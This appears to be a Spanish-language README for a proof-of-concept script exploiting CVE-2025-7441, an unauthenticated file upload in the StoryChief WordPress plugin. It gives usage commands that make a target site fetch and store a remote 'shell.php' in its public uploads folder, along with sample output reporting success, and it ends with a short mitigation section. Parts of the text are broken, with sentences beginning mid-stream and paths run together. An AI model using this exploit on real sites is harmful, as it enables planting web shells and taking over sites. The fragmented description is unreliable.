
StoryChief <= 1.0.42 - Subida arbitraria de archivos no autenticada
/wp-json/storychief/webhookdata.featured_image.data.sizes.full) y realiza una petición HTTP GET del lado del servidor a esa URL sin la validación suficiente (sin lista blanca de dominios, comprobaciones MIME/contenido insuficientes, y los archivos se guardan en rutas de subida públicas).wp-content/uploads/YYYY/MM/<nombre_archivo>). Si el archivo subido puede ser interpretado/ejecutado por el servidor (por ejemplo, un archivo PHP y el servidor permite la ejecución de PHP allí), esto conduce a ejecución remota de código (RCE) y compromiso total del sitio.CVE-2025-7441)Este script automatiza el flujo típico de verificación de explotación para la vulnerabilidad:
data.featured_image.data.sizes.full.meta.mac.<site_url>/wp-json/storychief/webhook.<site_url>/wp-content/uploads///
Si el archivo responde con HTTP 200, el script reporta éxito; de lo contrario imprime <failed to upload>.
El script incluye los siguientes flags: --file-url, --verbose, --use-curl y --retries.
python3 CVE-2025-7441.py <site_url>
<site_url> — URL base del sitio objetivo. Ejemplo: http://127.0.0.1:5000/ o https://target.example/--file-url — Sobrescribe la URL de archivo remoto predeterminada que usa el PoC. Valor por defecto: URL raw de GitHub de muestra hardcodeada. Ejemplo: --file-url https://127.0.0.1:5000/zip.php--verbose — Habilita la salida detallada (imprime detalles de solicitud/respuesta y progreso de comprobación).--use-curl — Usa el subproceso curl para enviar el POST (modo de respaldo). Requiere que curl esté instalado.--retries — Número de intentos para comprobar la ruta de subida esperada del archivo. Valor por defecto: 1. Usa p. ej. --retries 5 para consultar varias veces.python3 CVE-2025-7441.py http://127.0.0.1:5000/
Especificar una URL de archivo remoto personalizada
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
Salida detallada y múltiples comprobaciones
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
Usar curl para enviar el POST
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
salida:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
Mitigación y remediación A corto plazo:
Actualizar StoryChief a una versión parcheada inmediatamente cuando esté disponible. Bloquear o restringir /wp-json/storychief/webhook mediante WAF o reglas del servidor. Restringir las solicitudes salientes del servidor o la salida de datos a dominios no confiables.
Guía para desarrolladores:
Validar los tipos de archivos y contenidos después de cualquier obtención remota; verificar imágenes usando analizadores seguros y rechazar archivos inválidos. Requerir autenticación para los webhooks que provoquen descargas o creación de archivos del lado del servidor. Asegurar que la verificación HMAC/firma esté implementada y sea obligatoria. Almacenar el contenido subido fuera de la raíz web o deshabilitar la ejecución de archivos subidos en wp-content/uploads